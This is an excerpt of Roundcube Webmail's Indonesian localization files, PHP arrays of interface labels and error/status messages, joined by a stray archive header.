$labels['country'] = 'Negara';
$labels['birthday'] = 'Tanggal lahir';
$labels['anniversary'] = 'Hari jadi';
$labels['website'] = 'Laman web';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Catatan';
$labels['male'] = 'pria';
$labels['female'] = 'wanita';
$labels['manager'] = 'Menejer';
$labels['assistant'] = 'Asisten';
$labels['spouse'] = 'Suami/Istri';
$labels['allfields'] = 'Semua isian';
$labels['search'] = 'Cari';
$labels['searchresult'] = 'Hasil pencarian';
$labels['advsearch'] = 'Pencarian Lebih Lanjut';
$labels['advanced'] = 'Tingkat lanjut';
$labels['other'] = 'Lainnya';
$labels['printcontact'] = 'Cetak kontak';
$labels['qrcode'] = 'Kode QR';
$labels['typehome'] = 'Rumah';
$labels['typework'] = 'Kantor';
$labels['typeother'] = 'Lainnya';
$labels['typemobile'] = 'HP';
$labels['typemain'] = 'Utama';
$labels['typehomefax'] = 'Faks Rumah';
$labels['typeworkfax'] = 'Faks Kantor';
$labels['typecar'] = 'Mobil';
$labels['typepager'] = 'Pejer';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Asisten';
$labels['typehomepage'] = 'Laman Web';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Tambah kolom isian';
$labels['addcontact'] = 'Tambah kontak';
$labels['editcontact'] = 'Ubah kontak';
$labels['contacts'] = 'Daftar kontak';
$labels['contactproperties'] = 'Properti kontak';
$labels['contactnameandorg'] = 'Nama dan Organisasi';
$labels['personalinfo'] = 'Informasi pribadi';
$labels['personal'] = 'Pribadi';
$labels['contactphoto'] = 'Foto kontak';
$labels['edit'] = 'Ubah';
$labels['cancel'] = 'Batal';
$labels['save'] = 'Simpan';
$labels['delete'] = 'Hapus';
$labels['discard'] = 'Buang';
$labels['ok'] = 'OK';
$labels['rename'] = 'Ganti nama';
$labels['addphoto'] = 'Tambah';
$labels['replacephoto'] = 'Ganti';
$labels['uploadphoto'] = 'Unggah foto';
$labels['newcontact'] = 'Buat kontak baru';
$labels['deletecontact'] = 'Hapus kontak terpilih';
$labels['composeto'] = 'Tulis surat kepada';
$labels['contactsfromto'] = 'Kontak $from sampai $to dari total $count';
$labels['print'] = 'Cetak';
$labels['export'] = 'Ekspor';
$labels['exportall'] = 'Ekspor semua';
$labels['exportsel'] = 'Ekspor pilihan';
$labels['exportvcards'] = 'Ekspor kontak dalam format vCard';
$labels['newgroup'] = 'Buat grup baru';
$labels['addgroup'] = 'Tambah grup';
$labels['grouprename'] = 'Ganti nama grup';
$labels['groupdelete'] = 'Hapus grup';
$labels['groupremoveselected'] = 'Hapus kontak terpilih dari grup';
$labels['uponelevel'] = 'Naik satu tingkat';
$labels['previouspage'] = 'Perlihatkan himpunan sebelumnya';
$labels['firstpage'] = 'Perlihatkan himpunan pertama';
$labels['nextpage'] = 'Perlihatkan himpunan selanjutnya';
$labels['lastpage'] = 'Perlihatkan himpunan terakhir';
$labels['group'] = 'Kelompok';
$labels['groups'] = 'Kelompok';
$labels['listgroup'] = 'Daftar anggota grup';
$labels['personaladrbook'] = 'Alamat pribadi';
$labels['searchsave'] = 'Simpan pencarian';
$labels['searchdelete'] = 'Hapus pencarian';
$labels['import'] = 'Impor';
$labels['importcontacts'] = 'Impor kontak';
$labels['importfromfile'] = 'Impor dari berkas';
$labels['importtarget'] = 'Tambah kontak ke';
$labels['importreplace'] = 'Ganti seluruh buku alamat';
$labels['importgroups'] = 'Impor pengaturan grup';
$labels['importgroupsall'] = 'Semua (buat grup jika diperlukan)';
$labels['importgroupsexisting'] = 'Hanya untuk grup yang telah ada';
$labels['done'] = 'Selesai';
$labels['settingsfor'] = 'Pengaturan untuk';
$labels['about'] = 'Informasi program';
$labels['preferences'] = 'Pilihan';
$labels['userpreferences'] = 'Pilihan pengguna';
$labels['editpreferences'] = 'Ubah pilihan pengguna';
$labels['identities'] = 'Identitas';
$labels['manageidentities'] = 'Kelola identitas';
$labels['newidentity'] = 'Buat identitas baru';
$labels['addidentity'] = 'Tambah identitas';
$labels['editidentity'] = 'Sunting identitas';
$labels['identityencryption'] = 'Enkripsi';
$labels['preferhtml'] = 'Lebih suka HTML';
$labels['defaultcharset'] = 'Default Character';
$labels['htmlmessage'] = 'Pesan HTML';
$labels['messagepart'] = 'Bagian';
$labels['digitalsig'] = 'Tanda tangan digital';
$labels['dateformat'] = 'Format tanggal';
$labels['timeformat'] = 'Format waktu';
$labels['prettydate'] = 'Tanggal Cantik';
$labels['setdefault'] = 'Pengaturan Awal';
$labels['autodetect'] = 'Otomatis';
$labels['language'] = 'Bahasa';
$labels['timezone'] = 'Daerah Waktu';
$labels['pagesize'] = 'Baris per halaman';
$labels['signature'] = 'Tanda tangan';
$labels['dstactive'] = 'Waktu Musim Panas';
$labels['showinextwin'] = 'Buka pesan di jendela baru';
$labels['composeextwin'] = 'Buat pesan di jendela baru';
$labels['htmleditor'] = 'Tulis pesan HTML';
$labels['htmlonreply'] = 'balasan untuk pesan HTML saja';
$labels['htmlonreplyandforward'] = 'ketika meneruskan atau membalas pesan HTML';
$labels['htmlsignature'] = 'Tandatangan HTML';
$labels['showemail'] = 'Tampilkan alamat email dengan nama';
$labels['previewpane'] = 'Unjuk pratinjau';
$labels['skin'] = 'Tampilan antarmuka';
$labels['logoutclear'] = 'Bersihkan Tong Sampah saat keluar';
$labels['logoutcompact'] = 'Mampatkan Kotak Masuk saat keluar';
$labels['uisettings'] = 'Antarmuka pengguna';
$labels['serversettings'] = 'Pengaturan Server';
$labels['mailboxview'] = 'Tampilan Kotak Surat';
$labels['mdnrequests'] = 'Sedang dimintakan tanda terima kembali';
$labels['askuser'] = 'tanya pengguna';
$labels['autosend'] = 'kirim otomatis';
$labels['autosendknown'] = 'kirim tanda terima kepada kontak saya, selain itu tanyai saya';
$labels['autosendknownignore'] = 'kirim tanda terima kepada kontak saya, selain acuhkan';
$labels['ignorerequest'] = 'abaikan permintaan';
$labels['readwhendeleted'] = 'Tandai pesan sebagai terbaca saat dihapus';
$labels['flagfordeletion'] = 'Tandai pesan untuk penghapusan daripada dihapus';
$labels['skipdeleted'] = 'Jangan tampilkan pesan terhapus';
$labels['deletealways'] = 'Jika gagal memindakan ke tempat sampah, langsung hapus';
$labels['deletejunk'] = 'Langsung hapus pesan di kotak sampah';
$labels['showremoteimages'] = 'Tampilkan remote inline images';
$labels['fromknownsenders'] = 'dari pengirim yang dikenal';
$labels['always'] = 'selalu';
$labels['alwaysbutplain'] = 'selalu, kecuali saat membalas ke teks polos';
$labels['showinlineimages'] = 'Tampilkan gambar terlampir dibawah pesan';
$labels['autosavedraft'] = 'Otomatis menyimpan konsep';
$labels['everynminutes'] = 'setiap $n menit';
$labels['refreshinterval'] = 'Refresh (memeriksa pesan baru, dsb)';
$labels['never'] = 'tidak pernah';
$labels['immediately'] = 'secepatnya';
$labels['messagesdisplaying'] = 'Penampilan Pesan';
$labels['messagescomposition'] = 'Pengaturan Pesan';
$labels['mimeparamfolding'] = 'Nama lampiran';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (other)';
$labels['force7bit'] = 'Gunakan MIME encoding untuk karakter 8-bit';
$labels['savelocalstorage'] = "Simpan dalam penyimpanan lokal peramban (secara sementara)";
$labels['advancedoptions'] = 'Pilihan lanjut';
$labels['toggleadvancedoptions'] = 'Jungkitkan opsi tingkat lanjut';
$labels['focusonnewmessage'] = 'Pusatkan jendela broswer saat ada pesan baru';
$labels['checkallfolders'] = 'Periksa semua folder untuk pesan baru';
$labels['displaynext'] = 'Tampilkan entri daftar selanjutnya setelah menghapus/memindah';
$labels['defaultfont'] = 'Huruf standar untuk pesan HTML';
$labels['mainoptions'] = 'Pilihan Utama';
$labels['browseroptions'] = 'Pilihan peramban web';
$labels['section'] = 'Bagian';
$labels['maintenance'] = 'Perbaikan';
$labels['newmessage'] = 'Pesan baru';
$labels['signatureoptions'] = 'Opsi tanda tangan';
$labels['whenreplying'] = 'Ketika membalas';
$labels['replyempty'] = 'jangan kutip pesan asli';
$labels['replytopposting'] = 'Tulis pesan baru diatas pesan asli';
$labels['replytoppostingnoindent'] = 'mulai pesan baru di atas tanda kutip (tanpa indentasi)';
$labels['replybottomposting'] = 'Tulis pesan baru dibawah pesan asli';
$labels['replyremovesignature'] = 'ketika membalas pesan hapus tanda tangan dari pesan';
$labels['autoaddsignature'] = 'Otomatis tambahkan tanda tangan';
$labels['newmessageonly'] = 'Hanya untuk pesan baru';
$labels['replyandforwardonly'] = 'Hanya untuk dijawab dan diteruskan';
$labels['insertsignature'] = 'Isi tanda tangan';
$labels['sigbelow'] = 'Tempatkan tanda tangan di bawah pesan yang dikutip';
$labels['sigseparator'] = 'Paksakan pemisah standar dalam tanda tangan';
$labels['afternseconds'] = 'setelah $n detik';
$labels['reqmdn'] = 'Selalu meminta tanda terima kembali';
$labels['reqdsn'] = 'Selalu meminta pemberitahuan status terkirim';
$labels['replysamefolder'] = 'Taruh balasan di folder yang sama dengan pesan yang dibalas';
$labels['defaultabook'] = 'Buku alamat utama';
$labels['autocompletesingle'] = 'Lewatkan alamat email alternatif pada pelengkapan otomatis';
$labels['listnamedisplay'] = 'Daftar kontak sebagai';
$labels['spellcheckbeforesend'] = 'Periksa ejaan sebelum mengirimkan pesan';
$labels['spellcheckoptions'] = 'Pilihan Ejaan';
$labels['spellcheckignoresyms'] = 'Abaikan kata-kata yang bersimbol';
$labels['spellcheckignorenums'] = 'Abaikan kata-kata yang bernomor';
$labels['spellcheckignorecaps'] = 'Abaikan kata-kata dengan huruf besar semua';
$labels['addtodict'] = 'Tambahkan ke kamus';
$labels['mailtoprotohandler'] = 'Daftarkan pengampu protokol untuk link mailto:';
$labels['standardwindows'] = 'Kelola popup sebagai standar window';
$labels['forwardmode'] = 'Meneruskan pesan';
$labels['inline'] = 'dalam surat';
$labels['asattachment'] = 'sebagai sisipan';
$labels['replyallmode'] = 'Aksi dasar dari tombol [Jawab semua]';
$labels['replyalldefault'] = 'jawab ke semua';
$labels['replyalllist'] = 'jawab hanya ke daftar alamat email (jika ditemukan)';
$labels['allmessages'] = 'semua pesan';
$labels['folder'] = 'Folder';
$labels['folders'] = 'Semua Folder';
$labels['foldername'] = 'Nama folder';
$labels['subscribed'] = 'Subscribed';
$labels['messagecount'] = 'Pesan-pesan';
$labels['create'] = 'Buat';
$labels['createfolder'] = 'Buat folder baru';
$labels['managefolders'] = 'Atur folder';
$labels['specialfolders'] = 'Folder Khusus';
$labels['properties'] = 'Atribut';
$labels['folderproperties'] = 'Atribut folder';
$labels['parentfolder'] = 'Folder induk';
$labels['location'] = 'Lokasi';
$labels['info'] = 'Informasi';
$labels['getfoldersize'] = 'Klik untuk mendapatkan ukuran folder';
$labels['changesubscription'] = 'Klik untuk mengubah langganan';
$labels['foldertype'] = 'Jenis folder';
$labels['personalfolder'] = 'Folder pribadi';
$labels['otherfolder'] = 'Folder pengguna lain';
$labels['sharedfolder'] = 'Folder publik';
$labels['findfolders'] = 'Cari folder';
$labels['namespace.personal'] = 'Pribadi';
$labels['namespace.other'] = 'Pengguna lain';
$labels['namespace.shared'] = 'Bersama';
$labels['encryptioncreatekey'] = 'Buat pasangan kunci baru';
$labels['encryption'] = 'Enkripsi';
$labels['sortby'] = 'Urut berdasarkan';
$labels['sortasc'] = 'Urut menaik';
$labels['sortdesc'] = 'Urut menurun';
$labels['undo'] = 'Batalkan';
$labels['installedplugins'] = 'Plugin terpasang';
$labels['plugin'] = 'Pengaya';
$labels['version'] = 'Versi';
$labels['source'] = 'Sumber';
$labels['license'] = 'Lisensi';
$labels['support'] = 'Dukungan';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Inggris';
$labels['westerneuropean'] = 'Eropa Barat';
$labels['easterneuropean'] = 'Eropa Timur';
$labels['southeasterneuropean'] = 'Eropa Tenggara';
$labels['baltic'] = 'Balkan';
$labels['cyrillic'] = 'Rusia';
$labels['arabic'] = 'Arab';
$labels['greek'] = 'Yunani';
$labels['hebrew'] = 'Yahudi';
$labels['turkish'] = 'Turki';
$labels['nordic'] = 'Nordik';
$labels['thai'] = 'Thailand';
$labels['celtic'] = 'Keltik';
$labels['vietnamese'] = 'Vietnam';
$labels['japanese'] = 'Jepang';
$labels['korean'] = 'Korea';
$labels['chinese'] = 'Cina';
$labels['arialabeltopnav'] = 'Kendali jendela';
$labels['arialabeltasknav'] = 'Tugas aplikasi';
$labels['arialabeltoolbar'] = 'Bilah alat aplikasi';
$labels['arialabelactivetask'] = 'Tugas aktif';
$labels['arialabelmessagessearchfilter'] = 'Penyaring senarai surel';
$labels['arialabelmailsearchform'] = 'Formulir pencarian pesan surel';
$labels['arialabelcontactsearchform'] = 'Formulir pencarian kontak';
$labels['arialabelmailquicksearchbox'] = 'Masukan pencarian surel';
$labels['arialabelquicksearchbox'] = 'Masukan pencarian';
$labels['arialabelfoldersearchfilter'] = 'Penyaring senarai folder';
$labels['arialabelfoldersearchform'] = 'Formulir pencarian folder';
$labels['arialabelfolderlist'] = 'Pilihan folder surel';
$labels['arialabelmessagelist'] = 'Daftar Pesan Surel';
$labels['arialabelmailpreviewframe'] = 'Pratinjau pesan';
$labels['arialabelmailboxmenu'] = 'Menu aksi folder';
$labels['arialabellistselectmenu'] = 'Menu pemilihan senarai';
$labels['arialabelthreadselectmenu'] = 'Menu daftar thread';
$labels['arialabelmessagelistoptions'] = 'Opsi penampilan dan pengurutan senarai pesan';
$labels['arialabelmailimportdialog'] = 'Dialog impor pesan';
$labels['arialabelmessagenav'] = 'Navigasi pesan';
$labels['arialabelmessagebody'] = 'Tubuh Pesan';
$labels['arialabelmessageactions'] = 'Aksi pesan';
$labels['arialabelcontactquicksearch'] = 'Formulir pencarian kontak';
$labels['arialabelcontactsearchbox'] = 'Masukan pencarian kontak';
$labels['arialabelmessageheaders'] = 'Kepala pesan';
$labels['arialabelforwardingoptions'] = 'Opsi penerusan';
$labels['arialabelreplyalloptions'] = 'Opsi balas-ke-semua';
$labels['arialabelmoremessageactions'] = 'Aksi pesan lainnya';
$labels['arialabelmarkmessagesas'] = 'Tandai pesan yang dipilih sebagai...';
$labels['arialabelcomposeoptions'] = 'Opsi penyusunan pesan';
$labels['arialabelresponsesmenu'] = 'Menu respon siap pakai';
$labels['arialabelattachmentuploadform'] = 'Formulir pengunggahan lampiran';
$labels['arialabelattachmentpreview'] = 'Pratinjau lampiran';
$labels['ariasummarycomposecontacts'] = 'Daftar kontak dan grup untuk dipilih sebagai penerima';
$labels['arialabelcontactexportoptions'] = 'Opsi ekspor kontak';
$labels['arialabelabookgroupoptions'] = 'Opsi buku alamat/grup';
$labels['arialabelpreferencesform'] = 'Formulir preferensi';
$labels['arialabelidentityeditfrom'] = 'Formulir sunting identitas';
$labels['arialabelresponseeditfrom'] = 'Formulir sunting respon';
$labels['arialabelsearchterms'] = 'Istilah pencarian';
$labels['helplistnavigation'] = 'Navigasi papan tik senarai';
$labels['helplistkeyboardnavigation'] = "Panah turun/naik: Pindah baris fokus/pilihan
Spasi: Pilih baris yang terfokus.
Shift + turun/naik: Pilih baris tambahan di atas/bawah.
Ctrl + Spasi: Tambahkan baris terfokus ke pilihan/hapus dari pilihan.";
$labels['helplistkeyboardnavmessages'] = "Panah kanan/kiri: kembangkan/mampatkan thread pesan (hanya dalam mode thread).
Enter: Buka pesan yang dipilih/difokuskan.
Delete: Pindahkan pesan yang dipilih ke Tong Sampah.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Buka kontak yang dipilih/terfokus.";
PK
h�\j��@�@'program/localization/id_ID/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Terjadi error!';
$messages['loginfailed']  = 'Login gagal.';
$messages['cookiesdisabled'] = 'Browser Anda tidak menerima cookies.';
$messages['sessionerror'] = 'Session Anda invalid atau kadaluwarsa.';
$messages['cookiesmismatch'] = 'Ketidakcocokan cookie terdeteksi. Harap bersihkan cookie peramban Anda.';
$messages['storageerror'] = 'Koneksi ke server penyimpanan gagal';
$messages['servererror'] = 'Server Error!';
$messages['servererrormsg'] = 'Server Error: $msg';
$messages['accountlocked'] = 'Terlalu banyak mencoba login yang gagal. Coba lagi nanti.';
$messages['connerror'] = 'Kesalahan sambungan (Gagal menghubungi server)!';
$messages['dberror'] = 'Basis data Error!';
$messages['windowopenerror'] = 'Jendela popup terblokir!';
$messages['requesttimedout'] = 'Permintaan melewati batas waktu';
$messages['errorreadonly'] = 'Tidak bisa melakukan operasi. Folder hanya bisa dibaca.';
$messages['errornoperm'] = 'Tidak bisa melakukan operasi. Ijin ditolak.';
$messages['erroroverquota'] = 'Tidak dapat melakukan operasi. Disk penuh.';
$messages['erroroverquotadelete'] = 'Disk penuh. Tekan SHIFT + DEL untuk menghapus pesan';
$messages['invalidrequest'] = 'Permintaan tidak valid! Tidak ada data yang tersimpan.';
$messages['invalidhost'] = 'Nama server invalid.';
$messages['nomessagesfound'] = 'Surat tidak ditemukan di kotak masuk ini';
$messages['loggedout'] = 'Anda telah sukses mengakhiri sesi. Selamat tinggal!';
$messages['mailboxempty'] = 'Kotak masuk kosong';
$messages['nomessages'] = 'Tidak ada pesan';
$messages['refreshing'] = 'Menyegarkan...';
$messages['loading'] = 'Memuat...';
$messages['uploading'] = 'Menggungah berkas ...';
$messages['attaching'] = 'Melampirkan berkas...';
$messages['uploadingmany'] = 'Mengunggah berkas-berkas...';
$messages['loadingdata'] = 'Memuat data...';
$messages['checkingmail'] = 'Memeriksa pesan baru...';
$messages['sendingmessage'] = 'Mengirim pesan...';
$messages['messagesent'] = 'Pesan berhasil dikirim.';
$messages['savingmessage'] = 'Menyimpan pesan...';
$messages['messagesaved'] = 'Pesan tersimpan kedalam Konsep';
$messages['successfullysaved'] = 'Berhasil disimpan';
$messages['savingresponse'] = 'Meyimpan pesan tanggapan....';
$messages['deleteresponseconfirm'] = 'Anda yakin ingin menghapus pesan tanggapan ini?';
$messages['nocontactselected'] = 'Anda belum memilih suatu kontak.';
$messages['addedsuccessfully'] = 'Kontak berhasil ditambahkan ke buku alamat';
$messages['contactexists'] = 'Kontak dengan alamat email yang sama sudah ada.';
$messages['contactnameexists'] = 'Kontak dengan nama yang sama sudah ada.';
$messages['blockedimages'] = 'Untuk melindungi privasi Anda, gambar-gambar diluar server diblok pada pesan ini.';
$messages['blockedresources'] = 'Untuk melindungi privasi Anda, sumber daya remote telah diblokir.';
$messages['encryptedmessage'] = 'Pesan ini terenkripsi dan tidak bisa ditampilkan. Maaf!';
$messages['externalmessagedecryption'] = 'Ini adalah pesan terenkripsi dan dapat didekripsi dengan ekstensi browser Anda.';
$messages['nopubkeyfor'] = 'Tak ada kunci publik yang ditemukan bagi $email';
$messages['nopubkeyforsender'] = 'Tidak ada kunci publik yang valid bagi identitas pengirim Anda. Apakah Anda hendak mengenkripsi pesan hanya bagi para penerima saja?';
$messages['encryptnoattachments'] = 'Lampiran yang telah diunggah tidak dapat dienkripsi. Harap tambahkan ulang lampiran dalam penyunting enkripsi.';
$messages['searchpubkeyservers'] = 'Apakah Anda ingin mencari di server kunci publik untuk kunci yang kurang?';
$messages['encryptpubkeysfound'] = 'Kunci publik berikut telah ditemukan:';
$messages['keyservererror'] = 'Gagal mendapat kunci dari server kunci.';
$messages['keyimportsuccess'] = 'Kunci publik $key sukses diimpor ke ring kunci Anda.';
$messages['nocontactsfound'] = 'Kontak tidak ditemukan';
$messages['contactnotfound'] = 'Kontak yang diminta tidak ditemukan';
$messages['contactsearchonly'] = 'Anda mesti memakai suatu formulir pencarian untuk melihat kontak dari buku alamat yang dipilih.';
$messages['sendingfailed'] = 'Gagal mengirim pesan.';
$messages['senttooquickly'] = 'Mohon tunggu $sec detik sebelum mengirim pesan ini.';
$messages['errorsavingsent'] = 'Kesalahan ketika menyimpan pesan terkirim.';
$messages['errorsaving'] = 'Kesalahan terjadi ketika menyimpan.';
$messages['errormoving'] = 'Pesan tidak bisa dipindahkan';
$messages['errorcopying'] = 'Pesan tidak dapat disalin';
$messages['errordeleting'] = 'Pesan tidak bisa dihapus';
$messages['errormarking'] = 'Tidak dapat menandai pesan';
$messages['alerttitle'] = 'Perhatian';
$messages['confirmationtitle'] = 'Apa Anda yakin...';
$messages['deletecontactconfirm']  = 'Apakah anda yakin untuk menghapus kontak terpilih?';
$messages['deletegroupconfirm']  = 'Yakinkah Anda ingin menhapus grup terpilih?';
$messages['deletemessagesconfirm'] = 'Yakin menghapus pesan terpilih?';
$messages['deletefolderconfirm']  = 'Apakah anda benar-benar ingin menghapus folder ini?';
$messages['movefolderconfirm']  = 'Apakah Anda benar-benar ingin memindah folder ini?';
$messages['purgefolderconfirm']  = 'Yakin menghapus semua pesan pada folder ini?';
$messages['contactdeleting'] = 'Menghapus kontak...';
$messages['groupdeleting'] = 'Menghapus grup...';
$messages['folderdeleting'] = 'Menghapus map...';
$messages['foldermoving'] = 'Memindahkan folder...';
$messages['foldersubscribing'] = 'Melanggankan folder';
$messages['folderunsubscribing'] = 'Berhenti melanggankan folder';
$messages['formincomplete'] = 'Formulir tidak terisi semua';
$messages['noemailwarning'] = 'Tolong masukkan alamat email yang valid';
$messages['nonamewarning']  = 'Tolong masukkan nama';
$messages['nopagesizewarning'] = 'Tolong masukkan ukuran halaman';
$messages['nosenderwarning'] = 'Harap masukkan alamat email pengirim.';
$messages['recipientsadded'] = 'Penerima telah ditambahkan.';
$messages['norecipientwarning'] = 'Tolong masukkan sedikitnya satu penerima';
$messages['disclosedrecipwarning'] = 'Semua penerima akan saling tahu alamat surel pihak lain. Untuk mencegah hal ini dan melindungi privasi mereka Anda dapat memakai ruas Bcc.';
$messages['disclosedreciptitle'] = 'Terlalu banyak penerima publik';
$messages['nosubjectwarning']  = '"Judul" kosong. Isi judul sekarang?';
$messages['nosubjecttitle']  = 'Tanpa subjek';
$messages['nobodywarning'] = 'Kirim pesan ini tanpa teks?';
$messages['notsentwarning'] = 'Pesan belum terkirim dan tersimpan. Apakah kamu ingin membuang pengubahan?';
$messages['restoresavedcomposedata'] = 'Sebelumnya disimpan tetapi pesan tidak terkirim ditemukan.\n\nJudul: $subject\nDisimpan: $date\n\nAnda yakin mengembalikan pesan ini?';
$messages['nosearchname'] = 'Tolong masukkan nama kontak atau alamat email';
$messages['notuploadedwarning'] = 'Proses upload belum selesai. Silahkan tunggu atau batalkan proses upload.';
$messages['searchsuccessful'] = '$nr pesan ditemukan';
$messages['contactsearchsuccessful'] = 'Ditemukan $nr  kontak';
$messages['searchnomatch'] = 'Pencarian hasilnya nihil';
$messages['searching'] = 'Mencari...';
$messages['checking'] = 'Memeriksa...';
$messages['stillsearching'] = 'Sedang mencari....';
$messages['nospellerrors'] = 'Tidak ditemukan kesalahan ejaan';
$messages['folderdeleted'] = 'Folder berhasil dihapus';
$messages['foldersubscribed'] = 'Folder berhasil dilanggankan';
$messages['folderunsubscribed'] = 'Folder berhasil berhenti dilanggankan';
$messages['deletedsuccessfully'] = 'Berhasil dihapus';
$messages['converting'] = 'Mengembalikan pesan ke format awal...';
$messages['messageopenerror'] = 'Tidak dapat mengambil pesan dari server';
$messages['filelinkerror'] = 'Gagal melampirkan berkas.';
$messages['fileuploaderror'] = 'Gagal mengunggah berkas';
$messages['filesizeerror'] = 'Berkas terunggah mencapai ukuran maksimal dari $size';
$messages['filecounterror'] = 'Anda dapat mengunggah maksimum $count berkas sekaligus.';
$messages['msgsizeerror'] = 'Gagal melampirkan sebuah berkas. Ukuran maksimum suatu pesan ($size) terlampaui.';
$messages['msgsizeerrorfwd'] = 'Ukuran maksimum suatu pesan ($size) terlampaui. $num pesan belum dilampirkan.';
$messages['copysuccess'] = 'Berhasil menyalin kontak $nr';
$messages['movesuccess'] = 'Berhasil memindahkan kontak $nr';
$messages['copyerror'] = 'Tidak dapat menyalin kontak';
$messages['moveerror'] = 'Tidak dapat memindahkan kontak';
$messages['sourceisreadonly'] = 'Sumber dari alamat ini hanya dapat dibaca';
$messages['errorsavingcontact'] = 'Tidak bisa menyimpan alamat kontak';
$messages['movingmessage'] = 'Memindahkan pesan...';
$messages['copyingmessage'] = 'Menyalin pesan...';
$messages['copyingcontact'] = 'Menyalin kontak...';
$messages['movingcontact'] = 'Memindahkan kontak(s)...';
$messages['deletingmessage'] = 'Menghapus pesan...';
$messages['markingmessage'] = 'Menandai Pesan...';
$messages['addingmember'] = 'Menambahkan kontak ke grup...';
$messages['removingmember'] = 'Menyingkirkan kontak dari grup...';
$messages['receiptsent'] = 'Berhasil mengirim pemberitahuan tanda terima telah terbaca';
$messages['errorsendingreceipt'] = 'Tidak dapat mengirim tanda terima';
$messages['deleteidentityconfirm'] = 'Yakin untuk menghapus identitas ini?';
$messages['nodeletelastidentity'] = 'Anda tidak bida mengapus identitas ini, ini identitas yang terakhir';
$messages['forbiddencharacter'] = 'Nama folder mengandung karakter terlarang';
$messages['selectimportfile'] = 'Mohon pilih sebuah berkas untuk diunggah';
$messages['addresswriterror'] = 'Buku alamat terpilih tidak dapat ditulisi';
$messages['contactaddedtogroup'] = 'Berhasil menambahkan kontak kedalam grup ini';
$messages['contactremovedfromgroup'] = 'Berhasil menghapus kontak dari grup ini';
$messages['nogroupassignmentschanged'] = 'Tidak ada perubahan tugas grup.';
$messages['importwait'] = 'Sedang mengimpor, harap menunggu...';
$messages['importformaterror'] = 'Proses import gagal. File yang di upload bukan file import yang valid.';
$messages['importconfirm'] = '<b>Berhasil mengimpor $inserted kontak</b>';
$messages['importconfirmskipped'] = '<b>$skipped entri yang sudah ada dilewatkan</b>';
$messages['importmessagesuccess'] = 'Berhasil mengimport $nr pesan';
$messages['importmessageerror'] = 'Gagal mengimport! File yang di upload buka pesan yang valid atau file mailbox';
$messages['opnotpermitted'] = 'Operasi tidak diperbolehkan!';
$messages['nofromaddress'] = 'Kurang alamat email dalam identitas yang dipilih.';
$messages['editorwarning'] = 'Mengubah tipe penyunting dapat menyebabkan pemformatan teks hilang. Apakah Anda hendak melanjutkan?';
$messages['httpreceivedencrypterror'] = 'Terjadi sebuah kesalahan pengaturan fatal. Segera hubungi administrator Anda. <b> Pesan Anda tidak bisa terkirim.</b>';
$messages['smtpconnerror'] = 'SMTP Error ($code): Koneksi ke server gagal';
$messages['smtpautherror'] = 'SMTP Error ($code): Otentifikasi gagal';
$messages['smtpfromerror'] = 'SMTP Error ($code): Gagal mengatur pengirim "$from" ($msg)';
$messages['smtptoerror'] = 'SMTP Error ($code): Gagal menambah penerima "$to" ($msg)';
$messages['smtprecipientserror'] = 'SMTP Error ($code): Tidak dapat menguraikan daftar penerima';
$messages['smtputf8error'] = 'Galat SMTP: Server tidak mendukung Unicode dalam alamat surel.';
$messages['smtpsizeerror'] = 'Galat SMTP: Ukuran pesan melampaui batas server ($limit)';
$messages['smtperror'] = 'SMTP Error : $msg';
$messages['emailformaterror'] = 'Alamat email tidak valid:$email';
$messages['toomanyrecipients'] = 'Terlalu banyak penerima. Batas maksimal penerima adalah $max';
$messages['maxgroupmembersreached'] = 'Jumlah grup melebihi jumlah maksimum $max';
$messages['internalerror'] = 'Terjadi kesalahan dari dalam. Silahkan coba kembali.';
$messages['contactdelerror'] = 'Kontak tidak bisa dihapus';
$messages['contactdeleted'] = 'Kontak berhasil dihapus';
$messages['contactrestoreerror'] = 'Tidak bisa mengembalikan kontak yang terhapus.';
$messages['contactrestored'] = 'Kontak berhasil dikembalikan.';
$messages['groupdeleted'] = 'Grup berhasil dihapus';
$messages['grouprenamed'] = 'Nama grup berhasil dirubah.';
$messages['groupcreated'] = 'Grup berhasil dibuat';
$messages['savedsearchdeleted'] = 'Pencarian tersimpan berhasil dihapus.';
$messages['savedsearchdeleteerror'] = 'Tidak bisa menghapus pencarian tersimpan.';
$messages['savedsearchcreated'] = 'Pencarian tersimpan berhasil dibuat.';
$messages['savedsearchcreateerror'] = 'Tidak bisa membuat pencarian tersimpan.';
$messages['messagedeleted'] = 'Pesan berhasil dihapus';
$messages['messagemoved'] = 'Pesan berhasil dipindahkan';
$messages['messagemovedtotrash'] = 'Pesan sukses dipindah ke Tong sampah.';
$messages['messagecopied'] = 'Pesan berhasil disalin';
$messages['messagemarked'] = 'Pesan berhasil ditandai';
$messages['autocompletechars'] = 'Masukkan setidaknya $min karakter untuk pelengkapan otomatis.';
$messages['autocompletemore'] = 'Ada banyak entri yang ditemukan. Tolong ketikkan lebih banyak karakter.';
$messages['namecannotbeempty'] = 'Nama tidak boleh kosong';
$messages['nametoolong'] = 'Nama terlalu panjang';
$messages['namedotforbidden'] = 'Nama folder tidak boleh diawali dengan titik.';
$messages['folderupdated'] = 'Folder berhasil diperbarui';
$messages['foldercreated'] = 'Folder berhasil dibuat';
$messages['invalidimageformat'] = 'Bukan format gambar yang valid';
$messages['mispellingsfound'] = 'Terdapat kesalahan ejaan pada pesan.';
$messages['parentnotwritable'] = 'Tidak bisa membuat/memindahkan map ke map induk. Tidak memiliki hak akses.';
$messages['messagetoobig'] = 'Pesan terlalu besar untuk diproses.';
